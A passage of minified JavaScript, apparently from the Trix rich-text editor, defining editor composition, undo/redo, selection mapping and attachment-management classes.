n=this.createLocationRangeFromDOMRange(t,{strict:!1}),this.withTargetLocationRange(n,e)},d.prototype.getExpandedRangeInDirection=function(t,e){var n,i,o,r;return i=(null!=e?e:{}).length,r=(o=this.getSelectedRange())[0],n=o[1],"backward"===t?i?r-=i:r=this.translateUTF16PositionFromOffset(r,-1):i?n+=i:n=this.translateUTF16PositionFromOffset(n,1),s([r,n])},d.prototype.shouldManageMovingCursorInDirection=function(t){var e;return!!this.editingAttachment||(e=this.getExpandedRangeInDirection(t),null!=this.getAttachmentAtRange(e))},d.prototype.moveCursorInDirection=function(t){var e,n,i,o;return this.editingAttachment?i=this.document.getRangeOfAttachment(this.editingAttachment):(o=this.getSelectedRange(),i=this.getExpandedRangeInDirection(t),n=!c(o,i)),this.setSelectedRange("backward"===t?i[0]:i[1]),n&&(e=this.getAttachmentAtRange(i))?this.editAttachment(e):void 0},d.prototype.expandSelectionInDirection=function(t,e){var n,i;return n=(null!=e?e:{}).length,i=this.getExpandedRangeInDirection(t,{length:n}),this.setSelectedRange(i)},d.prototype.expandSelectionForEditing=function(){return this.hasCurrentAttribute("href")?this.expandSelectionAroundCommonAttribute("href"):void 0},d.prototype.expandSelectionAroundCommonAttribute=function(t){var e,n;return e=this.getPosition(),n=this.document.getRangeOfCommonAttributeAtPosition(t,e),this.setSelectedRange(n)},d.prototype.selectionContainsAttachments=function(){var t;return(null!=(t=this.getSelectedAttachments())?t.length:void 0)>0},d.prototype.selectionIsInCursorTarget=function(){return this.editingAttachment||this.positionIsCursorTarget(this.getPosition())},d.prototype.positionIsCursorTarget=function(t){var e;return(e=this.document.locationFromPosition(t))?this.locationIsCursorTarget(e):void 0},d.prototype.positionIsBlockBreak=function(t){var e;return null!=(e=this.document.getPieceAtPosition(t))?e.isBlockBreak():void 0},d.prototype.getSelectedDocument=function(){var t;return(t=this.getSelectedRange())?this.document.getDocumentAtRange(t):void 0},d.prototype.getSelectedAttachments=function(){var t;return null!=(t=this.getSelectedDocument())?t.getAttachments():void 0},d.prototype.getAttachments=function(){return this.attachments.slice(0)},d.prototype.refreshAttachments=function(){var t,e,n,i,o,r,s,a,u,c,h,p;for(n=this.document.getAttachments(),t=(a=l(this.attachments,n)).added,h=a.removed,this.attachments=n,i=0,r=h.length;r>i;i++)(e=h[i]).delegate=null,null!=(u=this.delegate)&&"function"==typeof u.compositionDidRemoveAttachment&&u.compositionDidRemoveAttachment(e);for(p=[],o=0,s=t.length;s>o;o++)(e=t[o]).delegate=this,p.push(null!=(c=this.delegate)&&"function"==typeof c.compositionDidAddAttachment?c.compositionDidAddAttachment(e):void 0);return p},d.prototype.attachmentDidChangeAttributes=function(t){var e;return this.revision++,null!=(e=this.delegate)&&"function"==typeof e.compositionDidEditAttachment?e.compositionDidEditAttachment(t):void 0},d.prototype.attachmentDidChangePreviewURL=function(t){var e;return this.revision++,null!=(e=this.delegate)&&"function"==typeof e.compositionDidChangeAttachmentPreviewURL?e.compositionDidChangeAttachmentPreviewURL(t):void 0},d.prototype.editAttachment=function(t,e){var n;if(t!==this.editingAttachment)return this.stopEditingAttachment(),this.editingAttachment=t,null!=(n=this.delegate)&&"function"==typeof n.compositionDidStartEditingAttachment?n.compositionDidStartEditingAttachment(this.editingAttachment,e):void 0},d.prototype.stopEditingAttachment=function(){var t;if(this.editingAttachment)return null!=(t=this.delegate)&&"function"==typeof t.compositionDidStopEditingAttachment&&t.compositionDidStopEditingAttachment(this.editingAttachment),this.editingAttachment=null},d.prototype.updateAttributesForAttachment=function(t,e){return this.setDocument(this.document.updateAttributesForAttachment(t,e))},d.prototype.removeAttributeForAttachment=function(t,e){return this.setDocument(this.document.removeAttributeForAttachment(t,e))},d.prototype.breakFormattedBlock=function(t){var e,n,o,r,s;return n=t.document,e=t.block,s=[(r=t.startPosition)-1,r],e.getBlockBreakPosition()===t.startLocation.offset?(e.breaksOnReturn()&&"\n"===t.nextCharacter?r+=1:n=n.removeTextAtRange(s),s=[r,r]):"\n"===t.nextCharacter?"\n"===t.previousCharacter?s=[r-1,r+1]:(s=[r,r+1],r+=1):t.startLocation.offset-1!=0&&(r+=1),o=new i.Document([e.removeLastAttribute().copyWithoutText()]),this.setDocument(n.insertDocumentAtRange(o,s)),this.setSelection(r)},d.prototype.getPreviousBlock=function(){var t,e;return(e=this.getLocationRange())&&(t=e[0].index)>0?this.document.getBlockAtIndex(t-1):void 0},d.prototype.getBlock=function(){var t;return(t=this.getLocationRange())?this.document.getBlockAtIndex(t[0].index):void 0},d.prototype.getAttachmentAtRange=function(t){var e;return(e=this.document.getDocumentAtRange(t)).toString()===i.OBJECT_REPLACEMENT_CHARACTER+"\n"?e.getAttachments()[0]:void 0},d.prototype.notifyDelegateOfCurrentAttributesChange=function(){var t;return null!=(t=this.delegate)&&"function"==typeof t.compositionDidChangeCurrentAttributes?t.compositionDidChangeCurrentAttributes(this.currentAttributes):void 0},d.prototype.notifyDelegateOfInsertionAtRange=function(t){var e;return null!=(e=this.delegate)&&"function"==typeof e.compositionDidPerformInsertionAtRange?e.compositionDidPerformInsertionAtRange(t):void 0},d.prototype.translateUTF16PositionFromOffset=function(t,e){var n,i;return n=(i=this.document.toUTF16String()).offsetFromUCS2Offset(t),i.offsetToUCS2Offset(n+e)},d}(i.BasicObject)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.UndoManager=function(e){function n(t){this.composition=t,this.undoEntries=[],this.redoEntries=[]}var i;return t(n,e),n.prototype.recordUndoEntry=function(t,e){var n,o,r,s,a;return o=(s=null!=e?e:{}).context,n=s.consolidatable,r=this.undoEntries.slice(-1)[0],n&&i(r,t,o)?void 0:(a=this.createEntry({description:t,context:o}),this.undoEntries.push(a),this.redoEntries=[])},n.prototype.undo=function(){var t,e;return(e=this.undoEntries.pop())?(t=this.createEntry(e),this.redoEntries.push(t),this.composition.loadSnapshot(e.snapshot)):void 0},n.prototype.redo=function(){var t,e;return(t=this.redoEntries.pop())?(e=this.createEntry(t),this.undoEntries.push(e),this.composition.loadSnapshot(t.snapshot)):void 0},n.prototype.canUndo=function(){return this.undoEntries.length>0},n.prototype.canRedo=function(){return this.redoEntries.length>0},n.prototype.createEntry=function(t){var e,n,i;return n=(i=null!=t?t:{}).description,e=i.context,{description:null!=n?n.toString():void 0,context:JSON.stringify(e),snapshot:this.composition.getSnapshot()}},i=function(t,e,n){return(null!=t?t.description:void 0)===(null!=e?e.toString():void 0)&&(null!=t?t.context:void 0)===JSON.stringify(n)},n}(i.BasicObject)}.call(this),function(){var t;i.attachmentGalleryFilter=function(e){var n;return(n=new t(e)).perform(),n.getSnapshot()},t=function(){function t(t){this.document=t.document,this.selectedRange=t.selectedRange}var e;return e="attachmentGallery","presentation","gallery",t.prototype.perform=function(){return this.removeBlockAttribute(),this.applyBlockAttribute()},t.prototype.getSnapshot=function(){return{document:this.document,selectedRange:this.selectedRange}},t.prototype.removeBlockAttribute=function(){var t,n,i,o,r;for(r=[],t=0,n=(o=this.findRangesOfBlocks()).length;n>t;t++)i=o[t],r.push(this.document=this.document.removeAttributeAtRange(e,i));return r},t.prototype.applyBlockAttribute=function(){var t,n,i,o,r,s;for(i=0,s=[],t=0,n=(r=this.findRangesOfPieces()).length;n>t;t++)(o=r[t])[1]-o[0]>1&&(o[0]+=i,o[1]+=i,"\n"!==this.document.getCharacterAtPosition(o[1])&&(this.document=this.document.insertBlockBreakAtRange(o[1]),o[1]<this.selectedRange[1]&&this.moveSelectedRangeForward(),o[1]++,i++),0!==o[0]&&"\n"!==this.document.getCharacterAtPosition(o[0]-1)&&(this.document=this.document.insertBlockBreakAtRange(o[0]),o[0]<this.selectedRange[0]&&this.moveSelectedRangeForward(),o[0]++,i++),s.push(this.document=this.document.applyBlockAttributeAtRange(e,!0,o)));return s},t.prototype.findRangesOfBlocks=function(){return this.document.findRangesForBlockAttribute(e)},t.prototype.findRangesOfPieces=function(){return this.document.findRangesForTextAttribute("presentation",{withValue:"gallery"})},t.prototype.moveSelectedRangeForward=function(){return this.selectedRange[0]+=1,this.selectedRange[1]+=1},t}()}.call(this),function(){i.Editor=function(){function t(t,n,o){this.composition=t,this.selectionManager=n,this.element=o,this.undoManager=new i.UndoManager(this.composition),this.filters=e.slice(0)}var e;return e=[i.attachmentGalleryFilter],t.prototype.loadDocument=function(t){return this.loadSnapshot({document:t,selectedRange:[0,0]})},t.prototype.loadHTML=function(t){return null==t&&(t=""),this.loadDocument(i.Document.fromHTML(t,{referenceElement:this.element}))},t.prototype.loadJSON=function(t){var e,n;return e=t.document,n=t.selectedRange,e=i.Document.fromJSON(e),this.loadSnapshot({document:e,selectedRange:n})},t.prototype.loadSnapshot=function(t){return this.undoManager=new i.UndoManager(this.composition),this.composition.loadSnapshot(t)},t.prototype.getDocument=function(){return this.composition.document},t.prototype.getSelectedDocument=function(){return this.composition.getSelectedDocument()},t.prototype.getSnapshot=function(){return this.composition.getSnapshot()},t.prototype.toJSON=function(){return this.getSnapshot()},t.prototype.deleteInDirection=function(t){return this.composition.deleteInDirection(t)},t.prototype.insertAttachment=function(t){return this.composition.insertAttachment(t)},t.prototype.insertDocument=function(t){return this.composition.insertDocument(t)},t.prototype.insertFile=function(t){return this.composition.insertFile(t)},t.prototype.insertFiles=function(t){return this.composition.insertFiles(t)},t.prototype.insertHTML=function(t){return this.composition.insertHTML(t)},t.prototype.insertString=function(t){return this.composition.insertString(t)},t.prototype.insertText=function(t){return this.composition.insertText(t)},t.prototype.insertLineBreak=function(){return this.composition.insertLineBreak()},t.prototype.getSelectedRange=function(){return this.composition.getSelectedRange()},t.prototype.getPosition=function(){return this.composition.getPosition()},t.prototype.getClientRectAtPosition=function(t){var e;return e=this.getDocument().locationRangeFromRange([t,t+1]),this.selectionManager.getClientRectAtLocationRange(e)},t.prototype.expandSelectionInDirection=function(t){return this.composition.expandSelectionInDirection(t)},t.prototype.moveCursorInDirection=function(t){return this.composition.moveCursorInDirection(t)},t.prototype.setSelectedRange=function(t){return this.composition.setSelectedRange(t)},t.prototype.activateAttribute=function(t,e){return null==e&&(e=!0),this.composition.setCurrentAttribute(t,e)},t.prototype.attributeIsActive=function(t){return this.composition.hasCurrentAttribute(t)},t.prototype.canActivateAttribute=function(t){return this.composition.canSetCurrentAttribute(t)},t.prototype.deactivateAttribute=function(t){return this.composition.removeCurrentAttribute(t)},t.prototype.canDecreaseNestingLevel=function(){return this.composition.canDecreaseNestingLevel()},t.prototype.canIncreaseNestingLevel=function(){return this.composition.canIncreaseNestingLevel()},t.prototype.decreaseNestingLevel=function(){return this.canDecreaseNestingLevel()?this.composition.decreaseNestingLevel():void 0},t.prototype.increaseNestingLevel=function(){return this.canIncreaseNestingLevel()?this.composition.increaseNestingLevel():void 0},t.prototype.canRedo=function(){return this.undoManager.canRedo()},t.prototype.canUndo=function(){return this.undoManager.canUndo()},t.prototype.recordUndoEntry=function(t,e){var n,i,o;return i=(o=null!=e?e:{}).context,n=o.consolidatable,this.undoManager.recordUndoEntry(t,{context:i,consolidatable:n})},t.prototype.redo=function(){return this.canRedo()?this.undoManager.redo():void 0},t.prototype.undo=function(){return this.canUndo()?this.undoManager.undo():void 0},t}()}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.ManagedAttachment=function(e){function n(t,e){var n;this.attachmentManager=t,this.attachment=e,n=this.attachment,this.id=n.id,this.file=n.file}return t(n,e),n.prototype.remove=function(){return this.attachmentManager.requestRemovalOfAttachment(this.attachment)},n.proxyMethod("attachment.getAttribute"),n.proxyMethod("attachment.hasAttribute"),n.proxyMethod("attachment.setAttribute"),n.proxyMethod("attachment.getAttributes"),n.proxyMethod("attachment.setAttributes"),n.proxyMethod("attachment.isPending"),n.proxyMethod("attachment.isPreviewable"),n.proxyMethod("attachment.getURL"),n.proxyMethod("attachment.getHref"),n.proxyMethod("attachment.getFilename"),n.proxyMethod("attachment.getFilesize"),n.proxyMethod("attachment.getFormattedFilesize"),n.proxyMethod("attachment.getExtension"),n.proxyMethod("attachment.getContentType"),n.proxyMethod("attachment.getFile"),n.proxyMethod("attachment.setFile"),n.proxyMethod("attachment.releaseFile"),n.proxyMethod("attachment.getUploadProgress"),n.proxyMethod("attachment.setUploadProgress"),n}(i.BasicObject)}.call(this),function(){var t=function(t,n){function i(){this.constructor=t}for(var o in n)e.call(n,o)&&(t[o]=n[o]);return i.prototype=n.prototype,t.prototype=new i,t.__super__=n.prototype,t},e={}.hasOwnProperty;i.AttachmentManager=function(e){function n(t){var e,n,i;for(null==t&&(t=[]),this.managedAttachments={},n=0,i=t.length;i>n;n++)e=t[n],this.manageAttachment(e)}return t(n,e),n.prototype.getAttachments=function(){var t,e,n,i;for(e in i=[],n=this.managedAttachments)t=n[e],i.push(t);return i},n.prototype.manageAttachment=function(t){var e,n;return null!=(e=this.managedAttachments)[n=t.id]?e[n]:e[n]=new i.ManagedAttachment(this,t)},n.prototype.attachmentIsManaged=function(t){return t.id in this.managedAttachments},n.prototype.requestRemovalOfAttachment=function(t){var e;return this.attachmentIsManaged(t)&&null!=(e=this.delegate)&&"function"==typeof e.attachmentManagerDidRequestRemovalOfAttachment?e.attachmentManagerDidRequestRemovalOfAttachment(t):void 0},n.prototype.unmanageAttachment=function(t){var e;return e=this.managedAttachments[t.id],delete this.managedAttachments[t.id],e},n}(i.BasicObject)}.call(this),function(){var t,e,n,o,r,s,a,u,c,l,h;t=i.elementContainsNode,e=i.findChildIndexOfNode,r=i.nodeIsBlockStart,s=i.nodeIsBlockStartComment,o=i.nodeIsBlockContainer,a=i.nodeIsCursorTarget,u=i.nodeIsEmptyTextNode,c=i.nodeIsTextNode,n=i.nodeIsAttachmentElement,l=i.tagName,h=i.walkTree,i.LocationMapper=function(){function i(t){this.element=t}var p,d,f,g;return i.prototype.findLocationFromContainerAndOffset=function(n,i,o){var s,u,l,p,g,m,y;for(m=(null!=o?o:{strict:!0}).strict,u=0,l=!1,p={index:0,offset:0},(s=this.findAttachmentElementParentForNode(n))&&(n=s.parentNode,i=e(s)),y=h(this.element,{usingFilter:f});y.nextNode();){if((g=y.currentNode)===n&&c(n)){a(g)||(p.offset+=i);break}if(g.parentNode===n){if(u++===i)break}else if(!t(n,g)&&u>0)break;r(g,{strict:m})?(l&&p.index++,p.offset=0,l=!0):p.offset+=d(g)}return p},i.prototype.findContainerAndOffsetFromLocation=function(t){var n,i,s,u,l;if(0===t.index&&0===t.offset){for(n=this.element,u=0;n.firstChild;)if(n=n.firstChild,o(n)){u=1;break}return[n,u]}if(i=(l=this.findNodeAndOffsetFromLocation(t))[0],s=l[1],i){if(c(i))0===d(i)?(n=i.parentNode.parentNode,u=e(i.parentNode),a(i,{name:"right"})&&u++):(n=i,u=t.offset-s);else{if(n=i.parentNode,!r(i.previousSibling)&&!o(n))for(;i===n.lastChild&&(i=n,n=n.parentNode,!o(n)););u=e(i),0!==t.offset&&u++}return[n,u]}},i.prototype.findNodeAndOffsetFromLocation=function(t){var e,n,i,o,r,s,u,l;for(u=0,n=0,i=(l=this.getSignificantNodesForIndex(t.index)).length;i>n;n++){if(e=l[n],o=d(e),t.offset<=u+o)if(c(e)){if(r=e,s=u,t.offset===s&&a(r))break}else r||(r=e,s=u);if((u+=o)>t.offset)break}return[r,s]},i.prototype.findAttachmentElementParentForNode=function(t){for(;t&&t!==this.element;){if(n(t))return t;t=t.parentNode}},i.prototype.getSignificantNodesForIndex=function(t){var e,n,i,o,r;for(i=[],r=h(this.element,{usingFilter:p}),o=!1;r.nextNode();)if(n=r.currentNode,s(n)){if(null!=e?e++:e=0,e===t)o=!0;else if(o)break}else o&&i.push(n);return i},d=function(t){return t.nodeType===Node.TEXT_NODE?a(t)?0:t.textContent.length:"br"===l(t)||n(t)?1:0},p=function(t){return g(t)===NodeFilter.FILTER_ACCEPT?f(t):NodeFilter.FILTER_REJECT},g=function(t){return u(t)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT},f=function(t){return n(t.parentNode)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT},i}()}.call(this),function(){var t,e,n=[].slice;t=i.getDOMRange,e=i.setDOMRange,i.PointMapper=function(){function i(){}return i.prototype.createDOMRangeFromPoint=function(n){var i,o,r,s,a,u,c,l;if(c=n.x,l=n.y,document.caretPositionFromPoint)return r=(a=document.caretPositionFromPoint(c,l)).offsetNode,o=a.offset,(i=document.createRange()).setStart(r,o),i;if(document.caretRangeFromPoint)return document.caretRangeFromPoint(c,l);if(document.body.createTextRange){s=t();try{(u=document.body.createTextRange()).moveToPoint(c,l),u.select()}catch(t){}return i=t(),e(s),i}},i.prototype.getClientRectsForDOMRange=function(t){var e;return[(e=n.call(t.getClientRects()))[0],e[e.length-1]]},i}()}.call(this),function(){var t,e=function(t,e){return function(){return t.apply(e,arguments)}},n=function(t,e){function n(){this.constructor=t}for(var i in e)o.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},o={}.hasOwnProperty,r=[].indexOf||function(t){for(var e=0,n=this.length;n>e;e++)if(e in this&&this[e]===t)return e;return-1};t=i.getDOMRange,i.SelectionChangeObserver=function(i){function o(){this.run=e(this.run,this),this.update=e(this.update,this),this.selectionManagers=[]}var s;return n(o,i),o.prototype.start=function(){return this.started?void 0:(this.started=!0,"onselectionchange"in document?document.addEventListener("selectionchange",this.update,!0):this.run())},o.prototype.stop=function(){return this.started?(this.started=!1,document.removeEventListener("selectionchange",this.update,!0)):void 0},o.prototype.registerSelectionManager=function(t){return r.call(this.selectionManagers,t)<0?(this.selectionManagers.push(t),this.start()):void 0},o.prototype.unregisterSelectionManager=function(t){var e;return this.selectionManagers=function(){var n,i,o,r;for(r=[],n=0,i=(o=this.selectionManagers).length;i>n;n++)(e=o[n])!==t&&r.push(e);return r}.call(this),0===this.selectionManagers.length?this.stop():void 0},o.prototype.notifySelectionManagersOfSelectionChange=function(){var t,e,n,i,o;for(i=[],t=0,e=(n=this.selectionManagers).length;e>t;t++)o=n[t],i.push(o.selectionDidChange());return i},o.prototype.update=function(){var e;return e=t(),s(e,this.domRange)?void 0:(this.domRange=e,this.notifySelectionManagersOfSelectionChange())},o.prototype.reset=function(){return this.domRange=null,this.update()},o.prototype.run=function(){return this.started?(this.update(),requestAnimationFrame(this.run)):void 0},s=function(t,e){return(null!=t?t.startContainer:void 0)===(null!=e?e.startContainer:void 0)&&(null!=t?t.startOffset:void 0)===(null!=e?e.startOffset:void 0)&&(null!=t?t.endContainer:void 0)===(null!=e?e.endContainer:void 0)&&(null!=t?t.endOffset:void 0)===(null!=e?e.endOffset:void 0)},o}(i.BasicObject),null==i.selectionChangeObserver&&(i.selectionChangeObserver=new i.SelectionChangeObserver)}.call(this),function(){var t,e,n,o,r,s,a,u,c,l,h=function(t,e){return function(){return t.apply(e,arguments)}},p=function(t,e){function n(){this.constructor=t}for(var i in e)d.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},d={}.hasOwnProperty;n=i.getDOMSelection,e=i.getDOMRange,l=i.setDOMRange,t=i.elementContainsNode,s=i.nodeIsCursorTarget,r=i.innerElementIsActive,o=i.handleEvent,a=i.normalizeRange,u=i.rangeIsCollapsed,c=i.rangesAreEqual,i.SelectionManager=function(d){function f(t){this.element=t,this.selectionDidChange=h(this.selectionDidChange,this),this.didMouseDown=h(this.didMouseDown,this),this.locationMapper=new i.LocationMapper(this.element),this.pointMapper=new i.PointMapper,this.lockCount=0,o("mousedown",{onElement:this.element,withCallback:this.didMouseDown})}return p(f,d),f.prototype.getLocationRange=function(t){var n;return null==t&&(t={}),!1===t.strict?this.createLocationRangeFromDOMRange(e(),{strict:!1}):t.ignoreLock?this.currentLocationRange:null!=(n=this.lockedLocationRange)?n:this.currentLocationRange},f.prototype.setLocationRange=function(t){var e;if(!this.lockedLocationRange)return t=a(t),(e=this.createDOMRangeFromLocationRange(t))?(l(e),this.updateCurrentLocationRange(t)):void 0},f.prototype.setLocationRangeFromPointRange=function(t){var e,n;return t=a(t),n=this.getLocationAtPoint(t[0]),e=this.getLocationAtPoint(t[1]),this.setLocationRange([n,e])},f.prototype.getClientRectAtLocationRange=function(t){var e;return(e=this.createDOMRangeFromLocationRange(t))?this.getClientRectsForDOMRange(e)[1]:void 0},f.prototype.locationIsCursorTarget=function(t){var e,n;return e=(n=this.findNodeAndOffsetFromLocation(t))[0],n[1],s(e)},f.prototype.lock=function(){return 0==this.lockCount++?(this.updateCurrentLocationRange(),this.lockedLocationRange=this.getLocationRange()):void 0},f.prototype.unlock=function(){var t;return 0==--this.lockCount&&(t=this.lockedLocationRange,this.lockedLocationRange=null,null!=t)?this.setLocationRange(t):void 0},f.prototype.clearSelection=function(){var t;return null!=(t=n())?t.removeAllRanges():void 0},f.prototype.selectionIsCollapsed=function(){var t;return!0===(null!=(t=e())?t.collapsed:void 0)},f.prototype.selectionIsExpanded=function(){return!this.selectionIsCollapsed()},f.prototype.createLocationRangeFromDOMRange=function(t,e){var n,i;if(null!=t&&this.domRangeWithinElement(t)&&(i=this.findLocationFromContainerAndOffset(t.startContainer,t.startOffset,e)))return t.collapsed||(n=this.findLocationFromContainerAndOffset(t.endContainer,t.endOffset,e)),a([i,n])},f.proxyMethod("locationMapper.findLocationFromContainerAndOffset"),f.proxyMethod("locationMapper.findContainerAndOffsetFromLocation"),f.proxyMethod("locationMapper.findNodeAndOffsetFromLocation"),f.proxyMethod("pointMapper.createDOMRangeFromPoint"),f.proxyMethod("pointMapper.getClientRectsForDOMRange"),f.prototype.didMouseDown=function(){return this.pauseTemporarily()},f.prototype.pauseTemporarily=function(){var e,n,i,r;return this.paused=!0,n=function(e){return function(){var n,o;for(e.paused=!1,clearTimeout(r),n=0,o=i.length;o>n;n++)i[n].destroy();return t(document,e.element)?e.selectionDidChange():void 0}}(this),r=setTimeout(n,200),i=function(){var t,i,r,s;for(s=[],t=0,i=(r=["mousemove","keydown"]).length;i>t;t++)e=r[t],s.push(o(e,{onElement:document,withCallback:n}));return s}()},f.prototype.selectionDidChange=function(){return this.paused||r(this.element)?void 0:this.updateCurrentLocationRange()},f.prototype.updateCurrentLocationRange=function(t){var n;return(null!=t?t:t=this.createLocationRangeFromDOMRange(e()))&&!c(t,this.currentLocationRange)?(this.currentLocationRange=t,null!=(n=this.delegate)&&"function"==typeof n.locationRangeDidChange?n.locationRangeDidChange(this.currentLocationRange.slice(0)):void 0):void 0},f.prototype.createDOMRangeFromLocationRange=function(t){var e,n,i,o;return i=this.findContainerAndOffsetFromLocation(t[0]),n=u(t)?i:null!=(o=this.findContainerAndOffsetFromLocation(t[1]))?o:i,null!=i&&null!=n?((e=document.createRange()).setStart.apply(e,i),e.setEnd.apply(e,n),e):void 0},f.prototype.getLocationAtPoint=function(t){var e,n;return(e=this.createDOMRangeFromPoint(t))&&null!=(n=this.createLocationRangeFromDOMRange(e))?n[0]:void 0},f.prototype.domRangeWithinElement=function(e){return e.collapsed?t(this.element,e.startContainer):t(this.element,e.startContainer)&&t(this.element,e.endContainer)},f}(i.BasicObject)}.call(this),function(){var t,e,n,o=function(t,e){function n(){this.constructor=t}for(var i in e)r.call(e,i)&&(t[i]=e[i]);return n.prototype=e.prototype,t.prototype=new n,t.__super__=e.prototype,t},r={}.hasOwnProperty,s=[].slice;e=i.rangeIsCollapsed,n=i.rangesAreEqual,t=i.objectsAreEqual,i.EditorController=function(r){function a(t){var e,n;this.editorElement=t.editorElement,e=t.document,n=t.html,this.selectionManager=new i.SelectionManager(this.editorElement),this.selectionManager.delegate=this,this.composition=new i.Composition,this.composition.delegate=this,this.attachmentManager=new i.AttachmentManager(this.composition.getAttachments()),this.attachmentManager.delegate=this,this.inputController=new(i["Level"+i.config.input.getLevel()+"InputController"])(this.editorElement),this.inputController.delegate=this,this.inputController.responder=this.composition,this.compositionController=new i.CompositionController(this.editorElement,this.composition),this.compositionController.delegate=this,this.toolbarController=new i.ToolbarController(this.editorElement.toolbarElement),this.toolbarController.delegate=this,this.editor=new i.Editor(this.composition,this.selectionManager,this.editorElement),null!=e?this.editor.loadDocument(e):this.editor.loadHTML(n)}var u;return o(a,r),a.prototype.registerSelectionManager=function(){return i.selectionChangeObserver.registerSelectionManager(this.selectionManager)},a.prototype.unregisterSelectionManager=function(){return i.selectionChangeObserver.unregisterSelectionManager(this.selectionManager)},a.prototype.render=function(){return this.compositionController.render()},a.prototype.reparse=function(){return this.composition.replaceHTML(this.editorElement.innerHTML)},a.prototype.compositionDidChangeDocument=function(){return this.notifyEditorElement("document-change"),this.handlingInput?void 0:this.render()},a.prototype.compositionDidChangeCurrentAttributes=function(t){return this.currentAttributes=t,this.toolbarController.updateAttributes(this.currentAttributes),this.updateCurrentActions(),this.notifyEditorElement("attributes-change",{attributes:this.currentAttributes})},a.prototype.compositionDidPerformInsertionAtRange=function(t){return this.pasting?this.pastedRange=t:void 0},a.prototype.compositionShouldAcceptFile=function(t){return this.notifyEditorElement("file-accept",{file:t})},a.prototype.compositionDidAddAttachment=function(t){var e;return e=this.attachmentManager.manageAttachment(t),this.notifyEditorElement("attachment-add",{attachment:e})},a.prototype.compositionDidEditAttachment=function(t){var e;return this.compositionController.rerenderViewForObject(t),e=this.attachmentManager.manageAttachment(t),this.notifyEditorElement("attachment-edit",{attachment:e}),this.notifyEditorElement("change")},a.prototype.compositionDidChangeAttachmentPreviewURL=function(t){return this.compositionController.invalidateViewForObject(t),this.notifyEditorElement("change")},a.prototype.compositionDidRemoveAttachment=function(t){var e;return e=this.attachmentManager.unmanageAttachment(t),this.notifyEditorElement("attachment-remove",{attachment:e})},a.prototype.compositionDidStartEditingAttachment=function(t,e){return this.attachmentLocationRange=this.composition.document.getLocationRangeOfAttachment(t),this.compositionController.installAttachmentEditorForAttachment(t,e),this.selectionManager.setLocationRange(this.attachmentLocationRange)},a.prototype.compositionDidStopEditingAttachment=function(){return this.compositionController.uninstallAttachmentEditor(),this.attachmentLocationRange=null},a.prototype.compositionDidRequestChangingSelectionToLocationRange=function(t){return!this.loadingSnapshot||this.isFocused()?(this.requestedLocationRange=t,this.compositionRevisionWhenLocationRangeRequested=this.composition.revision,this.handlingInput?void 0:this.render()):void 0},a.prototype.compositionWillLoadSnapshot=function(){return this.loadingSnapshot=!0},a.prototype.compositionDidLoadSnapshot=function(){return this.compositionController.refreshViewCache(),this.render(),this.loadingSnapshot=!1},a.prototype.getSelectionManager=function(){return this.selectionManager},a.proxyMethod("getSelectionManager().setLocationRange"),a.proxyMethod("getSelectionManager().getLocationRange"),a.prototype.attachmentManagerDidRequestRemovalOfAttachment=function(t){return this.removeAttachment(t)},a.prototype.compositionControllerWillSyncDocumentView=function(){return this.inputController.editorWillSyncDocumentView(),this.selectionManager.lock(),this.selectionManager.clearSelection()},a.prototype.compositionControllerDidSyncDocumentView=function(){return this.inputController.editorDidSyncDocumentView(),this.selectionManager.unlock(),this.updateCurrentActions(),this.notifyEditorElement("sync")},a.prototype.compositionControllerDidRender=function(){return null!=this.requestedLocationRange&&(this.compositionRevisionWhenLocationRangeRequested===this.composition.revision&&this.selectionManager.setLocationRange(this.requestedLocationRange),this.requestedLocationRange=null,this.compositionRevisionWhenLocationRangeRequested=null),this.renderedCompositionRevision!==this.composition.revision&&(this.runEditorFilters(),this.composition.updateCurrentAttributes(),this.notifyEditorElement("render")),this.renderedCompositionRevision=this.composition.revision},a.prototype.compositionControllerDidFocus=function(){return this.toolbarController.hideDialog(),this.notifyEditorElement("focus")},a.prototype.compositionControllerDidBlur=function(){return this.notifyEditorElement("blur")},a.prototype.compositionControllerDidSelectAttachment=function(t,e){return this.composition.editAttachment(t,e)},a.prototype.compositionControllerDidRequestDeselectingAttachment=function(t){var e,n;return e=null!=(n=this.attachmentLocationRange)?n:this.composition.document.getLocationRangeOfAttachment(t),this.selectionManager.setLocationRange(e[1])},a.prototype.compositionControllerWillUpdateAttachment=function(t){return this.editor.recordUndoEntry("Edit Attachment",{context:t.id,consolidatable:!0})},a.prototype.compositionControllerDidRequestRemovalOfAttachment=function(t){return this.removeAttachment(t)},a.prototype.inputControllerWillHandleInput=function(){return this.handlingInput=!0,this.requestedRender=!1},a.prototype.inputControllerDidRequestRender=function(){return this.requestedRender=!0},a.prototype.inputControllerDidHandleInput=function(){return this.handlingInput=!1,this.requestedRender?(this.requestedRender=!1,this.render()):void 0},a.prototype.inputControllerDidAllowUnhandledInput=function(){return this.notifyEditorElement("change")},a.prototype.inputControllerDidRequestReparse=function(){return this.reparse()},a.prototype.inputControllerWillPerformTyping=function(){return this.recordTypingUndoEntry()},a.prototype.inputControllerWillPerformFormatting=function(){return this.recordFormattingUndoEntry()},a.prototype.inputControllerWillCutText=function(){return this.editor.recordUndoEntry("Cut")},a.prototype.inputControllerWillPaste=function(t){return this.editor.recordUndoEntry("Paste"),this.pasting=!0,this.notifyEditorElement("before-paste",{paste:t})},a.prototype.inputControllerDidPaste=function(t){return t.range=this.pastedRange,this.pastedRange=null,this.pasting=null,this.notifyEditorElement("paste",{paste:t})},a.prototype.inputControllerWillMoveText=function(){return this.editor.recordUndoEntry("Move")},a.prototype.inputControllerWillAttachFiles=function(){return this.editor.recordUndoEntry("Drop Files")},a.prototype.inputControllerWillPerformUndo=function(){return this.editor.undo()},a.prototype.inputControllerWillPerformRedo=function(){return this.editor.redo()},a.prototype.inputControllerDidReceiveKeyboardCommand=function(t){return 